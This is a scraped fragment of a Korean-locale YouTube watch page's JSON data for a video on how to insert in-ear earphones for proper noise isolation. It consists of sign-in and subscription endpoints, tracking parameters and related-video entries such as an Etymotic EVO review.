로그인하세요."},"button":{"buttonRenderer":{"style":"STYLE_MONO_FILLED","size":"SIZE_DEFAULT","isDisabled":false,"text":{"simpleText":"로그인"},"navigationEndpoint":{"clickTrackingParams":"CKICEP2GBCITCOOXruCQiJIDFRNeDwIdHv0UJTIJc3Vic2NyaWJlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko%26next%3D%252Fwatch%253Fv%253D8KwXEqe6Gq4%26continue_action%3DQUFFLUhqblN2NVpyVXh0VWp2Y0pIeENNczZsdHpGRkd4Z3xBQ3Jtc0ttcjhlWGxDUUFKcnVJVHQ0TlM5cEEtS0Jrd0M0cHA5MzFfSk9zUGFDWUlGUXVCek5iYnlQNE5tZmZ1cDlLNDVNQXZOWWplQTNPcnZiTUFBM0pONTZ2dmNLOEdjanZzdThPU2JtbkFRSWpxeFVxRURmM3U3bWRSc2VyWktRTGpvVFRWYVVtT3RPa3ZOeVBNLXhfVlZyMFBYcGNHX3pUa3ZuSHlNT2NyT05tMWV6ZHl5Q1ZJakZRbDZpN3NWSW5CcXVFUlA4WG4\u0026hl=ko\u0026ec=66429","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CKICEP2GBCITCOOXruCQiJIDFRNeDwIdHv0UJcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=8KwXEqe6Gq4","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"8KwXEqe6Gq4","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr2---sn-ab02a0nfpgxapox-bh2s6.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=f0ac1712a7ba1aae\u0026ip=1.208.108.242\u0026initcwndbps=3691250\u0026mt=1768293662\u0026oweuc="}}}}},"continueAction":"QUFFLUhqblN2NVpyVXh0VWp2Y0pIeENNczZsdHpGRkd4Z3xBQ3Jtc0ttcjhlWGxDUUFKcnVJVHQ0TlM5cEEtS0Jrd0M0cHA5MzFfSk9zUGFDWUlGUXVCek5iYnlQNE5tZmZ1cDlLNDVNQXZOWWplQTNPcnZiTUFBM0pONTZ2dmNLOEdjanZzdThPU2JtbkFRSWpxeFVxRURmM3U3bWRSc2VyWktRTGpvVFRWYVVtT3RPa3ZOeVBNLXhfVlZyMFBYcGNHX3pUa3ZuSHlNT2NyT05tMWV6ZHl5Q1ZJakZRbDZpN3NWSW5CcXVFUlA4WG4","idamTag":"66429"}},"trackingParams":"CKICEP2GBCITCOOXruCQiJIDFRNeDwIdHv0UJQ=="}}}}}},"subscribedEntityKey":"EhhVQ2pSWXlRZ1B3b3RDb3FsM2FsRmQ3QkEgMygB","onSubscribeEndpoints":[{"clickTrackingParams":"CJ4CEJsrIhMI45eu4JCIkgMVE14PAh0e_RQlKPgdMgV3YXRjaMoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/subscription/subscribe"}},"subscribeEndpoint":{"channelIds":["UCjRYyQgPwotCoql3alFd7BA"],"params":"EgIIAxgAIgs4S3dYRXFlNkdxNA%3D%3D"}}],"onUnsubscribeEndpoints":[{"clickTrackingParams":"CJ4CEJsrIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CJ4CEJsrIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","openPopupAction":{"popup":{"confirmDialogRenderer":{"trackingParams":"CJ8CEMY4IhMI45eu4JCIkgMVE14PAh0e_RQl","dialogMessages":[{"runs":[{"text":"etyhead"},{"text":" 구독을 취소하시겠습니까?"}]}],"confirmButton":{"buttonRenderer":{"style":"STYLE_BLUE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"text":{"runs":[{"text":"구독 취소"}]},"serviceEndpoint":{"clickTrackingParams":"CKECEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlKPgdMgV3YXRjaMoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/subscription/unsubscribe"}},"unsubscribeEndpoint":{"channelIds":["UCjRYyQgPwotCoql3alFd7BA"],"params":"CgIIAxILOEt3WEVxZTZHcTQYAA%3D%3D"}},"accessibility":{"label":"구독 취소"},"trackingParams":"CKECEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl"}},"cancelButton":{"buttonRenderer":{"style":"STYLE_TEXT","size":"SIZE_DEFAULT","isDisabled":false,"text":{"runs":[{"text":"취소"}]},"accessibility":{"label":"취소"},"trackingParams":"CKACEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl"}},"primaryIsCancel":false}},"popupType":"DIALOG"}}]}}]}},"metadataRowContainer":{"metadataRowContainerRenderer":{"collapsedItemCount":0,"trackingParams":"CJ0CEM2rARgBIhMI45eu4JCIkgMVE14PAh0e_RQl"}},"showMoreText":{"simpleText":"...더보기"},"showLessText":{"simpleText":"간략히"},"trackingParams":"CJ0CEM2rARgBIhMI45eu4JCIkgMVE14PAh0e_RQl","defaultExpanded":false,"descriptionCollapsedLines":3,"showMoreCommand":{"clickTrackingParams":"CJ0CEM2rARgBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandExecutorCommand":{"commands":[{"clickTrackingParams":"CJ0CEM2rARgBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","changeEngagementPanelVisibilityAction":{"targetId":"engagement-panel-structured-description","visibility":"ENGAGEMENT_PANEL_VISIBILITY_EXPANDED"}},{"clickTrackingParams":"CJ0CEM2rARgBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","scrollToEngagementPanelCommand":{"targetId":"engagement-panel-structured-description"}}]}},"showLessCommand":{"clickTrackingParams":"CJ0CEM2rARgBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","changeEngagementPanelVisibilityAction":{"targetId":"engagement-panel-structured-description","visibility":"ENGAGEMENT_PANEL_VISIBILITY_HIDDEN"}},"attributedDescription":{"content":"This video guide provides instructions on how to insert your in-ear earphones to achieve a proper seal and experience optimum noise isolation.","styleRuns":[{"startIndex":0,"length":142,"styleRunExtensions":{"styleRunColorMapExtension":{"colorMap":[{"key":"USER_INTERFACE_THEME_DARK","value":4294967295},{"key":"USER_INTERFACE_THEME_LIGHT","value":4279440147}]}},"fontFamilyName":"Roboto"}]},"headerRuns":[{"startIndex":0,"length":142,"headerMapping":"ATTRIBUTED_STRING_HEADER_MAPPING_UNSPECIFIED"}]}},{"compositeVideoPrimaryInfoRenderer":{}},{"itemSectionRenderer":{"contents":[{"continuationItemRenderer":{"trigger":"CONTINUATION_TRIGGER_ON_ITEM_SHOWN","continuationEndpoint":{"clickTrackingParams":"CJwCELsvGAMiEwjjl67gkIiSAxUTXg8CHR79FCXKAQTxAvcU","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/next"}},"continuationCommand":{"token":"Eg0SCzhLd1hFcWU2R3E0GAYyJSIRIgs4S3dYRXFlNkdxNDAAeAJCEGNvbW1lbnRzLXNlY3Rpb24%3D","request":"CONTINUATION_REQUEST_TYPE_WATCH_NEXT"}}}}],"trackingParams":"CJwCELsvGAMiEwjjl67gkIiSAxUTXg8CHR79FCU=","sectionIdentifier":"comment-item-section","targetId":"comments-section"}}],"trackingParams":"CJsCELovIhMI45eu4JCIkgMVE14PAh0e_RQl"}},"secondaryResults":{"secondaryResults":{"results":[{"lockupViewModel":{"contentImage":{"thumbnailViewModel":{"image":{"sources":[{"url":"https://i.ytimg.com/vi/7VeYuzXwkus/hqdefault.jpg?sqp=-oaymwEiCKgBEF5IWvKriqkDFQgBFQAAAAAYASUAAMhCPQCAokN4AQ==\u0026rs=AOn4CLD97pdj6usjaixp-nSzRqexO47vPw","width":168,"height":94},{"url":"https://i.ytimg.com/vi/7VeYuzXwkus/hqdefault.jpg?sqp=-oaymwEjCNACELwBSFryq4qpAxUIARUAAAAAGAElAADIQj0AgKJDeAE=\u0026rs=AOn4CLCx5N85jdHGtcUSuTOm3Nwu25cjWw","width":336,"height":188}]},"overlays":[{"thumbnailOverlayBadgeViewModel":{"thumbnailBadges":[{"thumbnailBadgeViewModel":{"text":"1:15:25","badgeStyle":"THUMBNAIL_OVERLAY_BADGE_STYLE_DEFAULT","animationActivationTargetId":"7VeYuzXwkus","animationActivationEntityKey":"Eh8veW91dHViZS9hcHAvd2F0Y2gvcGxheWVyX3N0YXRlIMMCKAE%3D","lottieData":{"url":"https://www.gstatic.com/youtube/img/lottie/audio_indicator/audio_indicator_v2.json","settings":{"loop":true,"autoplay":true}},"animatedText":"지금 재생 중","animationActivationEntitySelectorType":"THUMBNAIL_BADGE_ANIMATION_ENTITY_SELECTOR_TYPE_PLAYER_STATE","rendererContext":{"accessibilityContext":{"label":"1시간 15분 25초"}}}}],"position":"THUMBNAIL_OVERLAY_BADGE_POSITION_BOTTOM_END"}},{"thumbnailHoverOverlayToggleActionsViewModel":{"buttons":[{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"WATCH_LATER","onTap":{"innertubeCommand":{"clickTrackingParams":"CJoCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/browse/edit_playlist"}},"playlistEditEndpoint":{"playlistId":"WL","actions":[{"addedVideoId":"7VeYuzXwkus","action":"ACTION_ADD_VIDEO"}]}}},"accessibilityText":"나중에 볼 동영상","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CJoCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"CHECK","onTap":{"innertubeCommand":{"clickTrackingParams":"CJkCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/browse/edit_playlist"}},"playlistEditEndpoint":{"playlistId":"WL","actions":[{"action":"ACTION_REMOVE_VIDEO_BY_VIDEO_ID","removedVideoId":"7VeYuzXwkus"}]}}},"accessibilityText":"추가됨","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CJkCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"isToggled":false,"trackingParams":"CJICENTEDBgAIhMI45eu4JCIkgMVE14PAh0e_RQl"}},{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"ADD_TO_QUEUE_TAIL","onTap":{"innertubeCommand":{"clickTrackingParams":"CJgCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CJgCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","addToPlaylistCommand":{"openMiniplayer":false,"openListPanel":true,"videoId":"7VeYuzXwkus","listType":"PLAYLIST_EDIT_LIST_TYPE_QUEUE","onCreateListCommand":{"clickTrackingParams":"CJgCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/playlist/create"}},"createPlaylistServiceEndpoint":{"videoIds":["7VeYuzXwkus"],"params":"CAQ%3D"}},"videoIds":["7VeYuzXwkus"],"videoCommand":{"clickTrackingParams":"CJgCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=7VeYuzXwkus","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"7VeYuzXwkus","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr7---sn-ab02a0nfpgxapox-bh26d.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=ed5798bb35f092eb\u0026ip=1.208.108.242\u0026initcwndbps=4492500\u0026mt=1768293662\u0026oweuc="}}}}}}}]}}},"accessibilityText":"현재 재생목록에 추가","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CJgCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"CHECK","accessibilityText":"추가됨","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CJcCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"isToggled":false,"trackingParams":"CJICENTEDBgAIhMI45eu4JCIkgMVE14PAh0e_RQl"}}]}}]}},"metadata":{"lockupMetadataViewModel":{"title":{"content":"FIRST LOOK! Etymotic EVO"},"image":{"decoratedAvatarViewModel":{"avatar":{"avatarViewModel":{"image":{"sources":[{"url":"https://yt3.ggpht.com/1KuEDdNR2K8IpGckW_ajesABju0Hvkrzk3rIbX0gagFjNJACtqGwR90rJr0ugCUuhZbm5eawHg=s68-c-k-c0x00ffffff-no-rj","width":68,"height":68}]},"avatarImageSize":"AVATAR_SIZE_M"}},"a11yLabel":"Super* Review 채널로 이동","rendererContext":{"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CJICENTEDBgAIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"/@SuperReview","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UCLt1ZCWX6QCDWVUElrY5_qA","canonicalBaseUrl":"/@SuperReview"}}}}}}},"metadata":{"contentMetadataViewModel":{"metadataRows":[{"metadataParts":[{"text":{"content":"Super* Review"}}]},{"metadataParts":[{"text":{"content":"조회수 6.5천회"}},{"text":{"content":"스트리밍 시간: 4년 전"}}]}],"delimiter":" • "}},"menuButton":{"buttonViewModel":{"iconName":"MORE_VERT","onTap":{"innertubeCommand":{"clickTrackingParams":"CJMCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","showSheetCommand":{"panelLoadingStrategy":{"inlineContent":{"sheetViewModel":{"content":{"listViewModel":{"listItems":[{"listItemViewModel":{"title":{"content":"현재 재생목록에 추가"},"leadingImage":{"sources":[{"clientResource":{"imageName":"ADD_TO_QUEUE_TAIL"}}]},"rendererContext":{"loggingContext":{"loggingDirectives":{"trackingParams":"CJYCEP6YBBgAIhMI45eu4JCIkgMVE14PAh0e_RQl","visibility":{"types":"12"}}},"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CJYCEP6YBBgAIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CJYCEP6YBBgAIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","addToPlaylistCommand":{"openMiniplayer":true,"videoId":"7VeYuzXwkus","listType":"PLAYLIST_EDIT_LIST_TYPE_QUEUE","onCreateListCommand":{"clickTrackingParams":"CJYCEP6YBBgAIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/playlist/create"}},"createPlaylistServiceEndpoint":{"videoIds":["7VeYuzXwkus"],"params":"CAQ%3D"}},"videoIds":["7VeYuzXwkus"],"videoCommand":{"clickTrackingParams":"CJYCEP6YBBgAIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=7VeYuzXwkus","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"7VeYuzXwkus","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr7---sn-ab02a0nfpgxapox-bh26d.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=ed5798bb35f092eb\u0026ip=1.208.108.242\u0026initcwndbps=4492500\u0026mt=1768293662\u0026oweuc="}}}}}}}]}}}}}}},{"listItemViewModel":{"title":{"content":"재생목록에 저장"},"leadingImage":{"sources":[{"clientResource":{"imageName":"BOOKMARK_BORDER"}}]},"rendererContext":{"loggingContext":{"loggingDirectives":{"trackingParams":"CJUCEJSsCRgBIhMI45eu4JCIkgMVE14PAh0e_RQl","visibility":{"types":"12"}}},"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CJUCEJSsCRgBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"https://accounts.google.com/ServiceLogin?service=youtube\u0026uilel=3\u0026passive=true\u0026continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Dko\u0026hl=ko","webPageType":"WEB_PAGE_TYPE_UNKNOWN","rootVe":83769}},"signInEndpoint":{"nextEndpoint":{"clickTrackingParams":"CJUCEJSsCRgBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","showSheetCommand":{"panelLoadingStrategy":{"requestTemplate":{"panelId":"PAadd_to_playlist","params":"-gYNCgs3VmVZdXpYd2t1cw%3D%3D"}}}}}}}}}}},{"listItemViewModel":{"title":{"content":"공유"},"leadingImage":{"sources":[{"clientResource":{"imageName":"SHARE"}}]},"rendererContext":{"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CJMCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/share/get_share_panel"}},"shareEntityServiceEndpoint":{"serializedShareEntity":"Cgs3VmVZdXpYd2t1cw%3D%3D","commands":[{"clickTrackingParams":"CJMCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","openPopupAction":{"popup":{"unifiedSharePanelRenderer":{"trackingParams":"CJQCEI5iIhMI45eu4JCIkgMVE14PAh0e_RQl","showLoadingSpinner":true}},"popupType":"DIALOG","beReused":true}}]}}}}}}}]}}}}}}}},"accessibilityText":"추가 작업","style":"BUTTON_VIEW_MODEL_STYLE_MONO","trackingParams":"CJMCEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TEXT","buttonSize":"BUTTON_VIEW_MODEL_SIZE_DEFAULT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}}}},"contentId":"7VeYuzXwkus","contentType":"LOCKUP_CONTENT_TYPE_VIDEO","rendererContext":{"loggingContext":{"loggingDirectives":{"trackingParams":"CJICENTEDBgAIhMI45eu4JCIkgMVE14PAh0e_RQl","visibility":{"types":"12"}}},"accessibilityContext":{"label":"FIRST LOOK! Etymotic EVO 1시간 15분"},"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CJICENTEDBgAIhMI45eu4JCIkgMVE14PAh0e_RQlMgdyZWxhdGVkSK616L2q4oXW8AGaAQUIARD4HcoBBPEC9xQ=","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=7VeYuzXwkus","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"7VeYuzXwkus","nofollow":true,"watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr7---sn-ab02a0nfpgxapox-bh26d.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=ed5798bb35f092eb\u0026ip=1.208.108.242\u0026initcwndbps=4492500\u0026mt=1768293662\u0026oweuc="}}}}}}}}}},{"lockupViewModel":{"contentImage":{"thumbnailViewModel":{"image":{"sources":[{"url":"https://i.ytimg.com/vi/iEr0A1pBMKA/hqdefault.jpg?sqp=-oaymwEiCKgBEF5IWvKriqkDFQgBFQAAAAAYASUAAMhCPQCAokN4AQ==\u0026rs=AOn4CLDhA2isRn2fAkhanjmjtJmPHDrj6Q","width":168,"height":94},{"url":"https://i.ytimg.com/vi/iEr0A1pBMKA/hqdefault.jpg?sqp=-oaymwEjCNACELwBSFryq4qpAxUIARUAAAAAGAElAADIQj0AgKJDeAE=\u0026rs=AOn4CLAKWq9-2zDRh1kN1614KhGASHQp7w","width":336,"height":188}]},"overlays":[{"thumbnailOverlayBadgeViewModel":{"thumbnailBadges":[{"thumbnailBadgeViewModel":{"text":"9:19","badgeStyle":"THUMBNAIL_OVERLAY_BADGE_STYLE_DEFAULT","animationActivationTargetId":"iEr0A1pBMKA","animationActivationEntityKey":"Eh8veW91dHViZS9hcHAvd2F0Y2gvcGxheWVyX3N0YXRlIMMCKAE%3D","lottieData":{"url":"https://www.gstatic.com/youtube/img/lottie/audio_indicator/audio_indicator_v2.json","settings":{"loop":true,"autoplay":true}},"animatedText":"지금 재생 중","animationActivationEntitySelectorType":"THUMBNAIL_BADGE_ANIMATION_ENTITY_SELECTOR_TYPE_PLAYER_STATE","rendererContext":{"accessibilityContext":{"label":"9분 19초"}}}}],"position":"THUMBNAIL_OVERLAY_BADGE_POSITION_BOTTOM_END"}},{"thumbnailHoverOverlayToggleActionsViewModel":{"buttons":[{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"WATCH_LATER","onTap":{"innertubeCommand":{"clickTrackingParams":"CJECEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/browse/edit_playlist"}},"playlistEditEndpoint":{"playlistId":"WL","actions":[{"addedVideoId":"iEr0A1pBMKA","action":"ACTION_ADD_VIDEO"}]}}},"accessibilityText":"나중에 볼 동영상","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CJECEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"CHECK","onTap":{"innertubeCommand":{"clickTrackingParams":"CJACEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/browse/edit_playlist"}},"playlistEditEndpoint":{"playlistId":"WL","actions":[{"action":"ACTION_REMOVE_VIDEO_BY_VIDEO_ID","removedVideoId":"iEr0A1pBMKA"}]}}},"accessibilityText":"추가됨","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CJACEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"isToggled":false,"trackingParams":"CIkCENTEDBgBIhMI45eu4JCIkgMVE14PAh0e_RQl"}},{"toggleButtonViewModel":{"defaultButtonViewModel":{"buttonViewModel":{"iconName":"ADD_TO_QUEUE_TAIL","onTap":{"innertubeCommand":{"clickTrackingParams":"CI8CEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true}},"signalServiceEndpoint":{"signal":"CLIENT_SIGNAL","actions":[{"clickTrackingParams":"CI8CEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","addToPlaylistCommand":{"openMiniplayer":false,"openListPanel":true,"videoId":"iEr0A1pBMKA","listType":"PLAYLIST_EDIT_LIST_TYPE_QUEUE","onCreateListCommand":{"clickTrackingParams":"CI8CEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"sendPost":true,"apiUrl":"/youtubei/v1/playlist/create"}},"createPlaylistServiceEndpoint":{"videoIds":["iEr0A1pBMKA"],"params":"CAQ%3D"}},"videoIds":["iEr0A1pBMKA"],"videoCommand":{"clickTrackingParams":"CI8CEPBbIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"/watch?v=iEr0A1pBMKA","webPageType":"WEB_PAGE_TYPE_WATCH","rootVe":3832}},"watchEndpoint":{"videoId":"iEr0A1pBMKA","watchEndpointSupportedOnesieConfig":{"html5PlaybackOnesieConfig":{"commonConfig":{"url":"https://rr7---sn-ab02a0nfpgxapox-jwwy.googlevideo.com/initplayback?source=youtube\u0026oeis=1\u0026c=WEB\u0026oad=3200\u0026ovd=3200\u0026oaad=11000\u0026oavd=11000\u0026ocs=700\u0026oewis=1\u0026oputc=1\u0026ofpcc=1\u0026msp=1\u0026odepv=1\u0026id=884af4035a4130a0\u0026ip=1.208.108.242\u0026initcwndbps=4130000\u0026mt=1768293662\u0026oweuc="}}}}}}}]}}},"accessibilityText":"현재 재생목록에 추가","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CI8CEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"toggledButtonViewModel":{"buttonViewModel":{"iconName":"CHECK","accessibilityText":"추가됨","style":"BUTTON_VIEW_MODEL_STYLE_OVERLAY_DARK","trackingParams":"CI4CEPBbIhMI45eu4JCIkgMVE14PAh0e_RQl","type":"BUTTON_VIEW_MODEL_TYPE_TONAL","buttonSize":"BUTTON_VIEW_MODEL_SIZE_COMPACT","state":"BUTTON_VIEW_MODEL_STATE_ACTIVE"}},"isToggled":false,"trackingParams":"CIkCENTEDBgBIhMI45eu4JCIkgMVE14PAh0e_RQl"}}]}}]}},"metadata":{"lockupMetadataViewModel":{"title":{"content":"엽떡 허콤 대방어 마라샹궈 닭발 피자 두쫀쿠 설빙 스초생"},"image":{"decoratedAvatarViewModel":{"avatar":{"avatarViewModel":{"image":{"sources":[{"url":"https://yt3.ggpht.com/zxq1JmbQt6HEzZP2fzSD-wImF4zdxaQ8nYYKf9cdO9DltO0F0KNEbziJkpGqE40fWoyKuEvlGQ=s68-c-k-c0x00ffffff-no-rj","width":68,"height":68}]},"avatarImageSize":"AVATAR_SIZE_M"}},"a11yLabel":"숏박스 채널로 이동","rendererContext":{"commandContext":{"onTap":{"innertubeCommand":{"clickTrackingParams":"CIkCENTEDBgBIhMI45eu4JCIkgMVE14PAh0e_RQlygEE8QL3FA==","commandMetadata":{"webCommandMetadata":{"url":"/@shortbox","webPageType":"WEB_PAGE_TYPE_CHANNEL","rootVe":3611,"apiUrl":"/youtubei/v1/browse"}},"browseEndpoint":{"browseId":"UC1B6SalAoiJD7eHfMUA9QrA","canonicalBaseUrl":"/@shortbox"}}}}}}},"metadata":{"contentMetadataViewModel":{"metadataRows":[{"metadataParts":[{"text":{"content":"숏박스","styleRuns":[{"startIndex":3,"styleRunExtensions":{"styleRunColorMapExtension":{"colorMap":[{"key":"USER_INTERFACE_THEME_DARK","value":4289374890},{"key":"USER_INTERFACE_THEME_LIGHT","value":4284506208}]}}}],"attachmentRuns":[{"startIndex":3,"length":0,"element":{"type":{"imageType":{"image":{"sources":[	2026-01-13T08:47:56
